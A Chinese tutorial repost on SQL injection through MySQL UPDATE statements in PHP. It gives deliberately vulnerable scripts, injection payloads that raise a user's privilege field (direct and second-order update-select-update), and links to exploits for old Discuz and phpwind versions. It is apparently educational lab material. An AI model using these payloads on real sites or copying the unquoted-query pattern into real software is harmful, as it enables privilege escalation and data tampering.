热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

UPDATE注射(mysqlphp)的两个模式

脚本里只是修正user=’heige’的pass,假如groudid表现用户的权限等级,我们的目标就是通过结构$p来达

一.测试环境: 

  OS: Windowsxp sp2 

  php: php 4.3.10 ( 

  mysql 4.1.9 

  apache 1.3.33  

  二.测试数据库结构:

-----start--- 

-- 数据库: `test` 

--  

-- -------------------------------------------------------- 

--  

-- 表的结构 `userinfo` 

--  

CREATE TABLE `userinfo` ( 

`groudid` varchar(12) NOT NULL default ’1’, 

`user` varchar(12) NOT NULL default ’heige’, 

`pass` varchar(122) NOT NULL default ’123456’ 

) ENGINE=MyISAM DEFAULT CHARSET=latin1; 

--  

-- 导出表中的数据 `userinfo` 

--  

INSERT INTO `userinfo` VALUES (’2’, ’heige’, ’123456’); 

------end-------

三.测试模式:

  1,变量没有带’’或''[MOD1] 

//test1.php Mod1 

$servername = 'localhost'; 

$dbusername = 'root'; 

$dbpassword = ''; 

$dbname = 'test'; 

mysql_connect($servername,$dbusername,$dbpassword) or die ('数据库连接失败'); 

$sql = 'update userinfo set pass=$p where user=’heige’';//<--$P没有应用单引号 

$result = mysql_db_query($dbname, $sql); 

$userinfo = mysql_fetch_array($result); 

echo '

SQL Query:$sql

'; ?>



  脚本里只是修正user=’heige’的pass,假如groudid表现用户的权限等级,我们的目标就是通过结构$p 来达 

  到修正groupid的目标: 

  那么我们提交:http://127.0.0.1/test1.php?p=123456,groudid=1 

  在mysql里查询: mysql> select * from userinfo; 

--------- ------- -------- 

| groudid | user  | pass   | 

--------- ------- -------- 

| 1       | heige | 123456 | 

--------- ------- -------- 

1 row in set (0.01 sec)

用户heige的groudid又2改为1了 :) 

  所以我们可以得到没有’’或'' update的注射是可以成功的,这个就是我们的模式1。 

  2,变量带’’或''[MOD2]


//test2.php 

$servername = 'localhost'; 

$dbusername = 'root'; 

$dbpassword = ''; 

$dbname = 'test'; 

mysql_connect($servername,$dbusername,$dbpassword) or die ('数据库连接失败'); 


$sql = 'update userinfo set pass=’$p’ where user=’heige’';//<--$P应用单引号 

$result = mysql_db_query($dbname, $sql); 

$userinfo = mysql_fetch_array($result); 

echo '

SQL Query:$sql

'; 

?>


  为了封闭’我们结构$p应当为123456’,groudid=’2 提交: 

  http://127.0.0.1/test2.php?p=123456’,groudid=’1 在gpc=on的情况下’变成了\’ 

  提交的语句变成:SQL Query:update userinfo set pass=’123456\’,groudid=\’1’ where user=’heige’

mysql查询: mysql> select * from userinfo; 

--------- ------- -------------------- 

| groudid | user  | pass               | 

--------- ------- -------------------- 

| 2       | heige | 123456’,groudid=’1 | 

--------- ------- -------------------- 

1 row in set (0.00 sec) 

  groudid并没有被修正。那么在变量被’’或''时 就完整没有被注射呢?不是 下面我们看模式2: 
//test3.php Mod2 

$servername = 'localhost'; 

$dbusername = 'root'; 

$dbpassword = ''; 

$dbname = 'test'; 

mysql_connect($servername,$dbusername,$dbpassword) or die ('数据库连接失败'); 

$sql = 'update userinfo set pass=’$p’ where user=’heige’';//<--$P应用单引号 

$result = mysql_db_query($dbname, $sql); 

mysql_fetch_array($result);    //$p的数据写进数据库 

$sql= 'select pass from userinfo where user=’heige’';  

$result = mysql_db_query($dbname, $sql); 

$userinfo=mysql_fetch_array($result);  

echo $userinfo[0];  //把pass查询输出给$userinfo[0] 

$sql ='update userinfo set pass=’$userinfo[0]’ where user=’heige’'; 

$result = mysql_db_query($dbname, $sql); 

mysql_fetch_array($result); //把$userinfo[0] 再次update 

?>

我们测试下,提交:http://127.0.0.1/test3.php?p=123456’,groudid=’1 

  回mysql查询下 : mysql> select * from userinfo; 

--------- ------- -------- 

| groudid | user  | pass   | 

--------- ------- -------- 

| 1       | heige | 123456 | 

--------- ------- -------- 



1 row in set (0.00 sec)

  HaHa~~ 成功注射 修正groudid为1。 这个就是我们的模式2了,简略的描叙如下: 

  update-->select-->update 

  四.实际模式 

  模式1:Discuz 2.0/2.2 register.php 注射  

  漏洞分析:http://4ngel.net/article/41.htm 

  Discuz 2.0/2.2 register.php Remote Exploit :http://4ngel.net/project/discuz_reg.htm 

  模式2:phpwind 2.0.2和3.31e 权限晋升漏洞 


       漏洞分析: 

update (profile.php 注射变量为$proicon update语句里为,icon=’$userdb[icon]’) 





select (jop.php) 





updtate (jop.php) 



Exploit:http://www.huij.net/9xiao/up/phpwind-exploit.exe  

  五.叫谢 

  特别感谢saiy等朋友的讨论和帮助。Thanks!!! 



推荐阅读
  • 1:有如下一段程序:packagea.b.c;publicclassTest{privatestaticinti0;publicintgetNext(){return ... [详细]
  • PHP 编程疑难解析与知识点汇总
    本文详细解答了 PHP 编程中的常见问题,并提供了丰富的代码示例和解决方案,帮助开发者更好地理解和应用 PHP 知识。 ... [详细]
  • PHP 5.2.5 安装与配置指南
    本文详细介绍了 PHP 5.2.5 的安装和配置步骤,帮助开发者解决常见的环境配置问题,特别是上传图片时遇到的错误。通过本教程,您可以顺利搭建并优化 PHP 运行环境。 ... [详细]
  • 深入理解 SQL 视图、存储过程与事务
    本文详细介绍了SQL中的视图、存储过程和事务的概念及应用。视图为用户提供了一种灵活的数据查询方式,存储过程则封装了复杂的SQL逻辑,而事务确保了数据库操作的完整性和一致性。 ... [详细]
  • 本文详细介绍了 Dockerfile 的编写方法及其在网络配置中的应用,涵盖基础指令、镜像构建与发布流程,并深入探讨了 Docker 的默认网络、容器互联及自定义网络的实现。 ... [详细]
  • 在哈佛大学商学院举行的Cyberposium大会上,专家们深入探讨了开源软件的崛起及其对企业市场的影响。会议指出,开源软件不仅为企业提供了新的增长机会,还促进了软件质量的提升和创新。 ... [详细]
  • 本文详细介绍了如何通过多种编程语言(如PHP、JSP)实现网站与MySQL数据库的连接,包括创建数据库、表的基本操作,以及数据的读取和写入方法。 ... [详细]
  • MySQL中枚举类型的所有可能值获取方法
    本文介绍了一种在MySQL数据库中查询枚举(ENUM)类型字段所有可能取值的方法,帮助开发者更好地理解和利用这一数据类型。 ... [详细]
  • 本文详细介绍了如何通过命令行启动MySQL服务,包括打开命令提示符窗口、进入MySQL的bin目录、输入正确的连接命令以及注意事项。文中还提供了更多相关命令的资源链接。 ... [详细]
  • 网络运维工程师负责确保企业IT基础设施的稳定运行,保障业务连续性和数据安全。他们需要具备多种技能,包括搭建和维护网络环境、监控系统性能、处理突发事件等。本文将探讨网络运维工程师的职业前景及其平均薪酬水平。 ... [详细]
  • QUIC协议:快速UDP互联网连接
    QUIC(Quick UDP Internet Connections)是谷歌开发的一种旨在提高网络性能和安全性的传输层协议。它基于UDP,并结合了TLS级别的安全性,提供了更高效、更可靠的互联网通信方式。 ... [详细]
  • CentOS7源码编译安装MySQL5.6
    2019独角兽企业重金招聘Python工程师标准一、先在cmake官网下个最新的cmake源码包cmake官网:https:www.cmake.org如此时最新 ... [详细]
  • 本文深入探讨 MyBatis 中动态 SQL 的使用方法,包括 if/where、trim 自定义字符串截取规则、choose 分支选择、封装查询和修改条件的 where/set 标签、批量处理的 foreach 标签以及内置参数和 bind 的用法。 ... [详细]
  • 解决PHP与MySQL连接时出现500错误的方法
    本文详细探讨了当使用PHP连接MySQL数据库时遇到500内部服务器错误的多种解决方案,提供了详尽的操作步骤和专业建议。无论是初学者还是有经验的开发者,都能从中受益。 ... [详细]
  • 本文探讨了适用于Spring Boot应用程序的Web版SQL管理工具,这些工具不仅支持H2数据库,还能够处理MySQL和Oracle等主流数据库的表结构修改。 ... [详细]
author-avatar
Aries小阳光
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有